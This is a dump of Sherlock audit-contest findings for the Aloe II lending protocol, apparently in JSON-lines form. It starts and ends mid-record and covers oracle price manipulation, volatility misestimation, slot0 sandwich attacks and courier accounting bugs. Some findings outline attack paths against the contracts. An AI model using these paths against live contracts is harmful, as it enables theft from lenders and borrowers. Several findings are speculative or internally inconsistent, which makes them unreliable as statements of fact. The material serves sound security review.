uint256 count = pools.length - 1;\n\n IUniswapV3Pool pool = IUniswapV3Pool(pools[count]);\n\n (uint56 metric, uint160 price, uint256 iv) = oracle.consult(pool, (1 << 32));\n\n console.log(\"Metric\", metric);\n console.log(\"Price\", price);\n console.log(\"iv\", iv);\n\n uint8 nSigma = 50;\n uint8 manipulationThresholdDivisor = 12;\n\n (uint160 a, uint160 b, bool seemsLegit) = BalanceSheet.computeProbePrices(\n uint56(metric),\n uint256(price),\n uint256(iv),\n nSigma,\n manipulationThresholdDivisor\n );\n\n console.log(\"Price A\", a);\n console.log(\"Price B\", b);\n console.log(\"seemsLegit?\", seemsLegit);\n\n // assertGt(metric, 0);\n // assertGt(price, 0);\n // assertEqDecimal(iv, 0, 12);\n }\n```\n\nNow the console results\n\n\"image\"\n\nfor the first snippet, with oracle prepare and update:\n Metric 0\n Price 79220240490215316061937756561\n iv 127921282726\n Price A 57537023128721537114198409333\n Price B 109074925362183896224165233716\n seemsLegit? true\n\n\nfor the second snippet, without oracle prepare and update:\n Metric 0\n Price 79220240490215316061937756561\n iv 0\n Price A 77194016963225748098002027713\n Price B 81299649250242852390862043329\n seemsLegit? true\n\nNow let's convert these prices to human readable form. Since both tokens are in same decimals this formula we will be using:\n\"(sqrtRatio / 2^^96)^^2\"\n\nNow for the first snippet let's calculate the human readable prices:\nTwap price = 79220240490215316061937756561\nTwap price human readable = 0.99980003 \nOk, twap is giving us a good value which is suitable for the pools, now let's see the price a and price b\n\nPrice A = 57537023128721537114198409333\nPrice A human readable = 0.5273945158\n\nPrice B = 109074925362183896224165233716\nPrice B human readable = 1.895355507\n\nAs we can see these values are extremely off and probably these values never reached in the actual pool! Before we talk more on this let's do the second snippet (no prepare and no volatility oracle)\n\n\nSecond snippet:\nTwap price = 79220240490215316061937756561\nTwap price human readable = 0.99980003\nSame twap, since it is the same calculation and it is accurate with the pool. \n\nPrice A = 77194016963225748098002027713\nPrice A human readable = 0.9493101285\n\nPrice B = 81299649250242852390862043329\nPrice B human readable = 1.052975282\n\nWell as we can see without the IV it is somehow better. However, it is still not fair because 0.94 and 1.05 pricing requires a serious depeg anyways. Also, initiating the volatility oracle is permissionless for pools which means the first snippet results will be applicable as soon as someone calls the prepare and update with the stable pool. \n\nIn general, the more the IV the more the spread between prices A,B respect to price C. Though it can be somehow ok with volatile pools it should not be considered as OK for stable pools because the 99% of the liquidity is concentrated in a very dense tick area. \n\nI also calculated it via altering nSigma and the results are not very different which I will not put here but feel free to play around.\n\n## Impact\nStable pools are not suitable for the system because volatility is misinterpreted for them. Considering stable pools has lots of liquidity there can be a good opportunity to make lenders and borrowers to them however, with the given probe prices calculations this is not feasible because the pricesA and pricesB used for liquidations and these prices are not realistic to calculate a potential liquidation event.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/BalanceSheet.sol#L94-L114\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/BalanceSheet.sol#L48-L80\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/VolatilityOracle.sol#L36-L94\n## Tool used\n\nManual Review\n\n## Recommendation\nInterpret volatility in a different way for stable pools so borrowing operations make sense for those pools","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//016-H/129.md"}} +{"title":"Uniswap Formula Drastically Underestimates Volatilty","severity":"major","body":"Warm Orange Dragon\n\nhigh\n\n# Uniswap Formula Drastically Underestimates Volatilty\n## Summary\n\nThe implied volatility calculated fees over a time period divided by current liquidity will almost always be lower than a reasonable derivation of volaitility. This is because there is no incentive or way for rational market participants to \"correct\" a pool where there is too much liquidity relative to volatility and fees.\n\n## Vulnerability Detail\n\nNote: This report will use annualised IV expressed in % will be use, even though the code representation uses different scaling.\n\nAloe estimates implied volatility based on the article cited below (taken from in-line code comments)\n\n```solidity\n\n//@notice Estimates implied volatility using this math - https://lambert-guillaume.medium.com/on-chain-volatility-and-uniswap-v3-d031b98143d1).\n```\n\nLambert's article describes a method of valuing Uniswap liquidity positions based on volatility. It is correct to say that the expected value of holding an LP position can be determined by the formula referenced in the article. A liquidity position can be valued with the same as \"selling a straddle\" which is a short-volatility strategy which involves selling both a put and a call. Lambert does this by representing fee collection as an options premium and impermanat loss as the cost paid by the seller when the underlying hits the strike price. If the implied volatility of a uniswap position is above the fair IV, then it is profitable to be a liquidity provider, if it is lower, than it is not.\n\nKEY POINT: However, this does not mean that re-arranging the formula to derive IV gives a correct estimation of IV.\n\nThe assumptions of the efficient market hypothesis holds true only when there is a mechanism and incentive for rational actors to arbitrage the value of positions to fair value. There is a direct mechanism to push down the IV of Uniswap liquidity positions - if the IV is too high then providing liquidity is +EV, so rational actors would deposit liquidity, and thus the IV as calculated by Aloe's formula will decrease.\n\nHowever, when the `IV` derived from Uniswap fees and liquidity is too low, there is no mechanism for rational actors to profit off correcting this. If you are not already a liquidity provider, there is no way to provide \"negative liquidity\" or \"short a liquidity position\".\n\nIn fact the linked article by Lambert Guillaume contains data which demonstrates this exact fact - the table which shows the derived IV at time of writing having far lower results than the historical volatilities and the the IV derived from markets that allow both long and short trading (like options exchanges such as Deribit). \n\nHere is a quote from that exact article, which points out that the Uniswap derived IV is sometimes 2.5x lower. Also check out the table directly in the article for reference:\n\n```solidity\n\"The realized volatility of most assets hover between 75% and 200% annualized in ETH terms. If we compare this to the IV extracted from the Uniswap v3 pools, we get:\n\nNote that the volatilities are somewhat lower, perhaps a factor of ~2.5, for most assets.\"\n```\n\n\nThe IV's in options markets or protocols that have long-short mechanisms such as Opyn's Squeeth have a correction mechanism for `IV's` which are too low, because you can both buy and sell options, and are therefore \"correct\" according to Efficient Market Hypothesis. The Uniswap pool is a \"long-only\" market, where liquidity can be added, but not shorted, which leads to systematically lower `IV` than is realistic. The EMH model, both in soft and hard form, only holds when there is a mechnaism for a rational minority to profit off correcting a market imbalance. If many irrational or utilitarian users deposits too much liquidity into a Uniswap v3 pool relative to the fee capture and IV, theres no way to profit off correcting this imbalance.\n\nThere are 3 ways to validate the claim that the Uniswap formula drastically underestimates the IV:\n\n1. On chain data which shows that the liquidty and fee derivation from Uniswap gives far lower results than other\n2. The table provided in Lambert Guillaume's article, which shows a Uniswap pool derived IVs which are far lower than the historical volatilities of the asset.\n3. Studies showing that liquidity providers suffer far more impermanent loss than fees.\n\n## Impact\n\n- The lower IV increases LTV, which means far higher LTV for risky assets. `5 sigma` probability bad-debt events, as calculated by the protocol which is basically an impossibility, becomes possible/likely as the relationship between `IV` or `Pr(event)` is super-linear\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Volatility.sol#L33-L81\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/VolatilityOracle.sol#L45-L94\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n2 possible options (excuse the pun):\n\n- Use historical price differences in the Uniswap pool (similar to a TWAP, but Time Weighted Average Price Difference) and use that to infer volatilty alongside the current implementations which is based on fees and liquidity. Both are inaccurate, but use the `maximum` of the two values. The 2 IV calculations can be used to \"sanity check\" the other, to correct one which drastically underestimates the risk\n\n- Same as above, use the `maximum` of the fee/liquidity derived `IV` but use a market that has long/short possibilities such as Opyn's Squeeth to sanity check the IV.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//016-H/038-best.md"}} +{"title":"The metric calculation in consult() is vulnerable to manipulation further back than 2*UNISWAP_AVG_WINDOW.","severity":"major","body":"Spicy Strawberry Sidewinder\n\nhigh\n\n# The metric calculation in consult() is vulnerable to manipulation further back than 2*UNISWAP_AVG_WINDOW.\n## Summary\nThe metric calculation in consult() assumes manipulation only happened in the last 2*UNISWAP_AVG_WINDOW seconds. An attacker could manipulate further back to evade detection\n## Vulnerability Detail\nThe metric calculation in consult() is vulnerable to manipulation further back than 2*UNISWAP_AVG_WINDOW.\nHere is how the vulnerability works:\nThe key part of the metric calculation is:\n\n // Compute arithmetic mean tick over the interval [-2w, 0)\n int256 meanTick0To2W = (tickCumulatives[2] - tickCumulatives[0]) / int32(UNISWAP_AVG_WINDOW * 2);\n\n // Compute arithmetic mean tick over the interval [-2w, -w] \n int256 meanTickWTo2W = (tickCumulatives[1] - tickCumulatives[0]) / int32(UNISWAP_AVG_WINDOW);\n\n // The metric compares the difference in the above means\n metric = uint56(SoladyMath.dist(meanTick0To2W, meanTickWTo2W));\n\nThe key assumption is that only manipulation in the last UNISWAP_AVG_WINDOW is reflected in meanTick0To2W.\nAn attacker could manipulate further back, in the range [-2*UNISWAP_AVG_WINDOW, -UNISWAP_AVG_WINDOW]. This would affect meanTickWTo2W but NOT meanTick0To2W.\nSo the difference and metric would be small, evading detection.\nThe impact is allowing manipulation without detection. An attacker could systematically manipulate in alternating windows to suppress the metric.\n\n## Impact\nThe effect is that price manipulation attacks could go undetected if the manipulation happened further back than 2*UNISWAP_AVG_WINDOW seconds. This could allow attackers to manipulate prices without being caught.\nThe severity depends on the value of UNISWAP_AVG_WINDOW, but I would categorize this as a high severity issue since it \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Oracle.sol#L98-L100\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Oracle.sol#L135\n## Tool used\n\nManual Review\n\n## Recommendation\nThe metric should compare current values versus a longer historical baseline, rather than just recent windows. A suggestive example:\n\n // Calculate metric versus 30-day moving average rather than just 2*UNISWAP_AVG_WINDOW\n int256 historicalMeanTick = ...\n\n metric = uint56(SoladyMath.dist(meanTick0To2W, historicalMeanTick));\n\nThis would detect large deviations versus a longer history, making manipulation harder. Other options like expanding the windows, detecting threshold breaches, or adding reference checks could also help strengthen monitoring.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//015-H/114.md"}} +{"title":"Oracle.sol: manipulation via increasing Uniswap V3 pool observationCardinality","severity":"major","body":"Slow Indigo Woodpecker\n\nhigh\n\n# Oracle.sol: manipulation via increasing Uniswap V3 pool observationCardinality\n## Summary\nThis issue deals with how the `Oracle.consult` function can be provided with a malicious `seed` such as to return wrong results. \n\nThis is a complex issue that requires multiple steps to be executed in order to set up and execute the attack. \n\nIn depth knowledge of the UniswapV3 `observationCardinality` concept is needed as well as a wholesome understanding of the Aloe II protocol. \n\nThis issue can occur as a result of an intentional attack but also as part of regular operation without attention to attack the protocol (even though unlikely). \n\nThe corrupted data that the `Oracle.consult` function provides as a result of this issue is used upstream by the `VolatilityOracle`. \n\nThe attack path is quite involved. However by exploiting this issue, the TWAP price can be manipulated as well as implied volatility (IV) and the probe prices.\n\n## Vulnerability Detail\nThe [`Oracle.consult`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Oracle.sol#L42-L137) function takes a `uint40 seed` parameter and can be used in either of two ways: \n1. Set the highest 8 bit to a non-zero value [to use Uniswap V3's binary search to get observations](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Oracle.sol#L51-L56)\n2. Set the highest 8 bit to zero and use the lower 32 bits to provide hints and [use the more efficient internal `Oracle.observe` function to get the observations](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Oracle.sol#L57-L81)\n\nThe code for Aloe's [`Oracle.observe`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Oracle.sol#L161-L205) function is adapted from Uniswap V3's [Oracle library](https://github.com/Uniswap/v3-core/blob/main/contracts/libraries/Oracle.sol).\n\nTo understand this issue it is necessary to understand Uniswap V3's `observationCardinality` concept.\n\nA deep dive can be found [here](https://uniswapv3book.com/docs/milestone_5/price-oracle/#observations-and-cardinality). \n\nIn short, it is a circular array of variable size. The size of the array can be increased by ANYONE via calling [`Pool.increaseObservationCardinalityNext`](https://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/UniswapV3Pool.sol#L255-L267). \n\nThe Uniswap V3 [`Oracle.write`](https://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/libraries/Oracle.sol#L78-L101) function will then take care of actually expanding the array once the current index has reached the end of the array. \n\nAs can be seen in [this](https://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/libraries/Oracle.sol#L108-L120) function, uninitialized entries in the array have their timestamp set to `1`. \n\nAnd all other values in the observation struct (array element) are set to zero: \n\n```solidity\nstruct Observation {\n // the block timestamp of the observation\n uint32 blockTimestamp;\n // the tick accumulator, i.e. tick * time elapsed since the pool was first initialized\n int56 tickCumulative;\n // the seconds per liquidity, i.e. seconds elapsed / max(1, liquidity) since the pool was first initialized\n uint160 secondsPerLiquidityCumulativeX128;\n // whether or not the observation is initialized\n bool initialized;\n}\n```\n\nHere's an example for a simplified array to illustrate how the Aloe `Oracle.observe` function might read an invalid value: \n\n```text\nAssume we are looking for the target=10 timestamp.\n\nAnd the observations array looks like this (element values are timestamps):\n\n| 12 | 20 | 25 | 30 | 1 | 1 | 1 |\n\nThe length of the array is 7.\n\nLet's say we provide the index 6 as the seed and the current observationIndex is 3 (i.e. pointing to timestamp 30)\n\nThe Oracle.observe function then chooses 1 as the left timestamp and 12 as the right timestamp.\n\nThis means the invalid and uninitialized element at index 6 with timestamp 1 will be used to calculate the Oracle values.\n```\n\n[Here](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Oracle.sol#L190-L198) is the section of the `Oracle.observe` function where the invalid element is used to calculate the result. \n\nBy updating the observations (e.g. swaps in the Uniswap pool), an attacker can influence the value that is written on the left of the array, i.e. he can arrange for a scenario such that he can make the Aloe `Oracle` read a wrong value. \n\nUpstream this causes the Aloe `Oracle` to continue calculation with `tickCumulatives` and `secondsPerLiquidityCumulativeX128s` haing a corrupted value. Either `secondsPerLiquidityCumulativeX128s[0]`, `tickCumulatives[0]` AND `secondsPerLiquidityCumulativeX128s[1]`, `tickCumulatives[1]` or only `secondsPerLiquidityCumulativeX128s[0]`, `tickCumulatives[0]` are assigned invalid values (depending on what the timestamp on the left of the array is).\n\n## Impact\nThe corrupted values are then used in the [further calculations](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Oracle.sol#L84-L135) in `Oracle.consult` which reports its results upstream to `VolatilityOracle.update` and `VolatilityOracle.consult`, making their way into the core application. \n\nThe TWAP price can be inflated such that bad debt can be taken on due to inflated valuation of Uniswap V3 liqudity.\n\nBesides that there are virtually endless possibilities for an attacker to exploit this scenario since the Oracle is at the very heart of the Aloe application and it's impossible to foresee all the permutations of values that a determined attacker may use.\n\nE.g. the TWAP price is used for liquidations where an incorrect TWAP price can lead to profit.\nIf the protocol expects you to exchange 1 BTC for 10k USDC, then you end up with ~20k profit.\n\nSince an attacker can make this scenario occur on purpose by updating the Uniswap observations (e.g. by executing swaps) and increasing observation cardinality, the severity of this finding is \"High\". \n\n## Code Snippet\nAffected `Oracle.observe` function from Aloe II:\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Oracle.sol#L57-L81\n\n`Oracle` library from Uniswap V3 to see how to implement the necessary check for the `initialized` property:\nhttps://github.com/Uniswap/v3-core/blob/main/contracts/libraries/Oracle.sol\n\n## Tool used\nManual Review\n\n## Recommendation\nThe `Oracle.observe` function must not consider observations as valid that have not been initialized. \n\nThis means the `initialized` field must be queried [here](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Oracle.sol#L188) and [here](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Oracle.sol#L171) and must be skipped over.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//015-H/040-best.md"}} +{"title":"`Borrower#modify()` function may Dos in some cases","severity":"major","body":"Real Macaroon Goldfish\n\nmedium\n\n# `Borrower#modify()` function may Dos in some cases\n## Summary\n\n`Borrower#modify()` function may Dos in some cases.\n\n## Vulnerability Detail\n\n`Factory#pause` is a public function, this function called `Borrower#getPrices()` and return `seemsLegit` parameter. If `seemsLegit` is false, `getParameters[pool].pausedUntilTime` can be increased. The `pausedUntilTime` parameter is used in `Borrower#modify()` function:\n\n```solidity\nrequire(\n seemsLegit && (block.timestamp > pausedUntilTime) && (address(this).balance >= ante),\n \"Aloe: missing ante / sus price\"\n);\n```\n\nas we can see, this function will revert if `seemsLegit` is false or `block.timestamp > pausedUntilTime`.\n\nThe `Borrower#getPrices()` call trace is shown below:\n\n`Borrower#getPrices() -> Borrower#_getPrices() -> ORACLE.consult(UNISWAP_POOL, oracleSeed)`\n\nthe `lastWrites[pool]` parameter is updated in `VolatilityOracle#update` function, one member of `lastWrites` struct is `iv`, this parameter is calculated by `Volatility.estimate(cachedMetadata[pool], data, a, b, IV_SCALE)` function, and the `data` parameter returned by `Oracle#consult` function is get from `pool.slot0()`. However, `slot0()` is easy to manipulate in uniswap. So malicious user can monitor the mempool and can modify `lastWrites[pool]` to make `seemsLegit = false` and increase `pausedUntilTime`. Or when market volatility is great, the `Borrower#modify()` is also reverted when user call this function.\n\n\n## Impact\n\nContract will be reverted in some cases when users call `Borrower#modify()` function.\n\n## Code Snippet\n\nhttps://github.com/aloelabs/aloe-ii/blob/6fb1d96a1ad5a2913eefa476faf302bf5c4443ed/core/src/Borrower.sol#L478-L483\nhttps://github.com/aloelabs/aloe-ii/blob/6fb1d96a1ad5a2913eefa476faf302bf5c4443ed/core/src/libraries/Oracle.sol#L45\nhttps://github.com/aloelabs/aloe-ii/blob/6fb1d96a1ad5a2913eefa476faf302bf5c4443ed/core/src/VolatilityOracle.sol#L52-L89\n\n## Tool used\n\nvscode, Manual Review\n\n## Recommendation\n\nTo make any calculation use a TWAP instead of slot0.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//014-H/069.md"}} +{"title":"Users positions can't be liquidated since protocol is using Use of slot0 to get sqrtPriceLimitX96","severity":"major","body":"Rare Violet Caribou\n\nhigh\n\n# Users positions can't be liquidated since protocol is using Use of slot0 to get sqrtPriceLimitX96\n## Summary\nUsers positions can't be liquidated since protocol is using Use of slot0 to get sqrtPriceLimitX96\n## Vulnerability Detail\nIn the `Borrower.sol` the function liquidate() Fetch prices from oracle using \n```solidity\n (Prices memory prices, ) = getPrices(oracleSeed);\n```\n and the function `getPrices()` is using an internal function `_getPrices()` to fetch the price\n \n```solidity\n function getPrices(uint40 oracleSeed) public view returns (Prices memory prices, bool seemsLegit) {\n (, uint8 nSigma, uint8 manipulationThresholdDivisor, ) = FACTORY.getParameters(UNISWAP_POOL);\n (prices, seemsLegit) = _getPrices(oracleSeed, nSigma, manipulationThresholdDivisor);\n }\n```\nfurther the internal function `_getPrices()` is calling `Oracle.consult()`\n\n```solidity\n (metric, prices.c, iv) = ORACLE.consult(UNISWAP_POOL, oracleSeed);\n```\n and the `PoolData` is stored by calling another internal function `consult()` given in the code below :\n https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Oracle.sol#L45\n \n the problem lies within the line \n\n```solidity\n (data.sqrtPriceX96, data.currentTick, observationIndex, observationCardinality, , , ) = pool.slot0();\n```\n \n where the current sqrtPriceLimitX96 is retrieved from the `pool.slot0()`, however the `sqrtPriceX96` gotten from `pool.slot0` is the most recent data point and can be manipulated easily via MEV bots & Flashloans with sandwich attacks and can cause lose of funds when interacting with the Uniswap.swap function.\n \n## Impact\n The `sqrtPriceX96` gotten from pool.slot0 is not correct and an Attacker can Simply manipulate the `sqrtPriceX96` and if the `Uniswap.swap` function is called with the `sqrtPriceX96` the token will be bought at a higher price, and The Attacker would back run the transaction to sell thereby making gain but causing loss to whoever called those functions.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Oracle.sol#L45\n## Tool used\n\nManual Review\n\n## Recommendation\nUse The `TWAP` to get the value of `sqrtPriceX96`.\n\n[here](https://github.com/charmfinance/alpha-vaults-contracts/blob/07db2b213315eea8182427be4ea51219003b8c1a/contracts/AlphaStrategy.sol#L136-L144) is an example of TWAP implementation","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//014-H/010-best.md"}} +{"title":"Skipping rewards accounting for couriers does reduce the effective rewards rate for other users","severity":"medium","body":"Spicy Strawberry Sidewinder\n\nmedium\n\n# Skipping rewards accounting for couriers does reduce the effective rewards rate for other users\n## Summary\nRewards accounting is skipped for couriers. This reduces the effective rewards rate for other users. \n## Vulnerability Detail\nThe lack of proper rewards accounting for couriers does reduce the effective rewards rate for other users. Here is a detailed explanation:\nThe key code sections are:\n1.\tIn _mint():\n\n // Skip rewards update on the courier. This means accounting isn't\n // accurate for them, so they *should not* be allowed to claim rewards. This\n // slightly reduces the effective overall rewards rate.\n\n2.\tIn _burn():\n\n // NOTE: We skip rewards update on the courier. This means accounting isn't\n // accurate for them, so they *should not* be allowed to claim rewards. This\n // slightly reduces the effective overall rewards rate.\n\n3.\tIn _transfer():\n\n Rewards.updateUserState(s, a, from, data % Q112);\n\n //...\n\n Rewards.updateUserState(s, a, to, data % Q112);\n\nThe issue is that rewards accounting is properly tracked for normal users via the Rewards.updateUserState() calls in _transfer().\nHowever, for couriers, the rewards accounting is skipped in _mint() and _burn().\nThis means that as fees are transferred from users to couriers, the rewards owed to couriers are not properly tracked.\nOver time, this results in the total rewards owed diverging from the total rewards being tracked and paid out. Specifically, rewards owed will be higher than tracked rewards.\nSince the total rewards rate and payouts are based on the tracked rewards, this effectively reduces the rewards rate for other users.\n\n## Impact\nIt reduces the effective rewards rate for other users. Over time, as fees are transferred from users to couriers, the rewards owed to couriers will diverge from the rewards being tracked and paid out. Specifically, rewards owed will be higher than tracked rewards.\n\nSince the total rewards rate and payouts are based on the tracked rewards, skipping accounting for couriers means the effective rewards rate will be lower than the configured rate.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L517-L519\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L415-L421\n## Tool used\n\nManual Review\n\n## Recommendation\nRewards accounting should also be done for couriers. A suggestive example:\n\nIn _mint():\n\n // Track rewards for courier\n Rewards.updateUserState(s, a, courier, 0);\n\nIn _burn():\n\n // Track rewards for courier\n Rewards.updateUserState(s, a, courier, balances[courier] % Q112);\n\nThis ensures proper tracking of rewards owed to couriers, maintaining the effective rewards rate for all users.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//013-M/147.md"}} +{"title":"The balance of a courier doesn't get updated when a user burns, leading to an even lower fee effectiveness","severity":"medium","body":"Dapper Concrete Porcupine\n\nhigh\n\n# The balance of a courier doesn't get updated when a user burns, leading to an even lower fee effectiveness\n## Summary\n\nWhen a user burns their shares, a portion is sent to their designated courier. However, the courier's balance remains unaltered with `Rewards.updateUserState()`, resulting in reduced fee efficiency. This discrepancy means that when the courier eventually burns, their unclaimable fee is calculated using a formula based on a `high balance * fee rate * time`, instead of recalculating it each time their balance updates, which would be based on the `current balance * fee rate * time`.\n\n## Vulnerability Detail\n\nWhen users participate in a market's Lender by minting shares through a courier service, they become indebted to that courier for a certain percentage of the shares they've minted. This debt must be settled when users decide to burn their shares.\n\nIn addition, users also have the opportunity to claim rewards from the `Factory.sol` protocol. The calculation of these rewards occurs each time a user's balance undergoes changes and is executed by the following line of code: `Rewards.updateUserState(s, a, from, balance);`.\n\nHowever, there is an important distinction when it comes to couriers. Couriers are not eligible to claim these rewards, and this discrepancy results in less effective fee allocation. Fees are still earmarked for couriers even though they are unable to claim them.\n\nThe issue at hand arises due to the fact that fees are not calculated in the same manner for couriers as they are for regular users. Normal users have their fees calculated each time before their balance changes. This approach ensures that they do not accumulate a higher amount of fees over the duration they hold their shares. The code that accomplishes this for regular users is as follows:\n\n```solidity\nRewards.updatePoolState(s, a, newTotalSupply);\nRewards.updateUserState(s, a, from, balance); // @audit they get calculated here <-\n\nuint32 id = uint32(data >> 224);\nif (id != 0) {\n\tuint256 principleAssets = (data >> 112) % Q112;\n\tuint256 principleShares = principleAssets.mulDivUp(totalSupply_, inventory);\n\nif (balance > principleShares) {\n\t(address courier, uint16 cut) = FACTORY.couriers(id);\n\n\t// ...\n\n\tdata -= fee;\n\tbalances[courier] += fee;\n\temit Transfer(from, courier, fee);\n}\n\n```\n\nConversely, the fees for couriers are not recalculated each time their balance changes due to a user burn. As a result, their unclaimable fees are only calculated when they burn their shares using `withdraw()`. This means that couriers' fees are calculated using a different formula, one that takes into account a high balance after multiple balance additions multiplied by the fee rate and time, as opposed to being recalculated each time their fee balance changes based on their current balance, fee rate, and time.\n\nThis vulnerability results in an even higher amount of fees being allocated to stakers, leaving a smaller share of fees for regular users and depleting both regular user rewards and the protocol's funds.\n\n## Impact\n\nThis will further diminish the protocol's fee efficiency, resulting in lost funds.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L520-L522\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider calling `Rewards.updateUserState()` for the courier's account each time a user with a courier burns a portion of their shares.\n\n```solidity\nRewards.updateUserState(s, a, courier, balances[courier]); // @audit Consider adding this <-\nbalances[courier] += fee;\nemit Transfer(from, courier, fee);\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//013-M/115-best.md"}} +{"title":"Courier is not reset if owner burnt all shares","severity":"medium","body":"Bent Orchid Barbel\n\nmedium\n\n# Courier is not reset if owner burnt all shares\n## Summary\nCourier is not reset if owner burnt all shares. Because of that owner can't receive token transfers.\n## Vulnerability Detail\nWhen user deposits, or someone deposits on its behalf, then [courier can be provided](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L115C66-L115C75). This courier is going to get some percentage of owner's profit, so [it's stored in the owner's data](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L454). \n\nWhen user has courier, then some actions are not allowed for him. For example token transfers. User [can't be source of transfer](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L412) and [can't be recipient of transfer](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L418).\n\nWhen i asked sponsor have user can remove courier, then he said, that it's enough to burn all your shares.\nHowever, this is not like that. When you burn shares, then courier is not reset even if you withdrawn all balance. If you check `burn` function, then you will see, that [courier info is not touched](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L473-L534).\n\nWhen all balance is withdrawn, then [you have ability to change courier](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L453-L456), but only when you mint new shares.\n\nThis is incorrect behaviour and it will block user from receiving tokens, once he had withdrawn all shares. In order to be able to receive them he will need to mint some shares and set courier as 0.\n## Impact\nUser's courier is not reset, when he withdrawn everything.\n## Code Snippet\nProvide above\n## Tool used\n\nManual Review\n\n## Recommendation\nIn the `_burn` function remove courier if user's balance is 0. Or provide additional function that allows to change courier, when you have 0 balance.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//013-M/060.md"}} +{"title":"Governance should always be able to make liquidations profitable","severity":"medium","body":"Slow Indigo Woodpecker\n\nmedium\n\n# Governance should always be able to make liquidations profitable\n## Summary\nIn cases where liquidation doesn't include a swap callback, i.e. [`shouldSwap=false`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Borrower.sol#L252) \nthe only incentive for liquidators is the `ante` amount that is deposited by the borrowers inside the `Borrrower` contract.\nEach pool is created with the `DEFAULT_ANTE` value, and the governance has the ability to step in and increase the `ante` up to its maximum value of `CONSTRAINT_ANTE_MAX` (0.1 ether).\nBased on the previous gas prices even the `CONSTRAINT_ANTE_MAX` value is not enough to make liquidations profitable. \nThis introduces the risk of bad debt in the system since Borrowers wouldn't get liquidated because liquidators would have to pay instead of getting paid to liquidate.\n\n## Vulnerability Detail\nWhen liquidation doesn't include a swap callback, the liquidator gets the `ante` amount deposited by the borrower in the `Borrower` contract.\nBorrowers can open up to [3 